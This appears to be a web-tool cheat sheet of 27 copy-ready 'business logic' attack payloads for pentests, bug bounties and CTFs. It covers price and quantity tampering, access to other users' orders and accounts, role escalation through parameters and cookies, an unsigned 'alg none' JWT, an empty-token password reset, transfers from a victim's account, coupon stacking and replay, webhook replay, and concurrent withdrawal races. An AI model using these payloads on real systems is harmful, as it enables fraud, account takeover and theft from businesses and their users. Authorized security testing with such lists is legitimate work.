Real-world business logic abuse techniques for authorized pentests, bug bounties, and CTFs: price/quantity tampering, workflow bypass, coupon abuse, privilege assumptions, and race conditions. (27 payloads)
POST /cart/add
{"product_id":1337,"price":0.01,"qty":1}POST /checkout
{"items":[{"sku":"A1","qty":-1,"price":100}]}POST /api/order
{"amount":1000.00,"currency":"VND"} // then change to a weaker currency or omit itPOST /cart/update
{"line_id":5,"qty":2,"unit_price":50,"line_total":1}POST /checkout
{"price":99.99} → resend as {"price":99.999999}POST /profile/update
user_id=1001&role=admin&[email protected]GET /api/v1/orders/1002 (your order is 1003)PATCH /api/account
{"id":"<victim_uuid>","verified":true,"plan":"enterprise"}GET /export?format=pdf&account=ALL (was account=self)Skip /checkout/step2 (payment) → POST /checkout/step3 (confirm) directlyPOST /password/reset/confirm
{"token":"","user":"victim","new_password":"P@ss1"}POST /order/12345/status
{"status":"shipped"} (without paying)Complete free trial signup → DELETE /subscription → re-POST /trial/startGET /cart?step=review → tamper shipping=FREE_EXPRESS then POST without re-validating cartPOST /cart/coupon
{"code":"SAVE10"} → repeat the request 3xPOST /cart/coupon
{"code":"WELCOME20"}&{"code":"STUDENT15"}&{"code":"BLACKFRIDAY"}POST /giftcard/apply
{"code":"ABCD-1234","amount":50} // server should derive amountPlace order with 100% coupon → request refund → keep goods/creditPOST /coupon/validate {"code":"VIP50","min_spend":0}Cookie: role=user; → Cookie: role=admin;JWT header: {"alg":"none"} with stripped signature, payload {"sub":"victim","role":"admin"}GET /admin/users with a normal user session (no UI link)POST /api/transfer
{"from":"<victim_account>","to":"<my_account>","amount":100}Capture POST /giftcard/redeem → replay 10x concurrently (same code/token)POST /coupon/apply (single-use) → 20 parallel requests in one TCP burst (last-byte sync)Capture signed payment callback → replay POST /payment/webhook unchangedWithdraw full balance: 5 concurrent POST /wallet/withdraw {"amount":<balance>}Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides
It's a quick-reference collection of 27 Business Logic payloads for testing Business Logic vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.
Copy any payload straight into your authorized test, or open the Business Logic generator to build customized Business Logic variants with encoding and WAF-bypass options. Only test systems you have explicit permission to assess.
Yes — this cheat sheet and all Business Logic payloads are completely free, with no account required. Everything runs in your browser.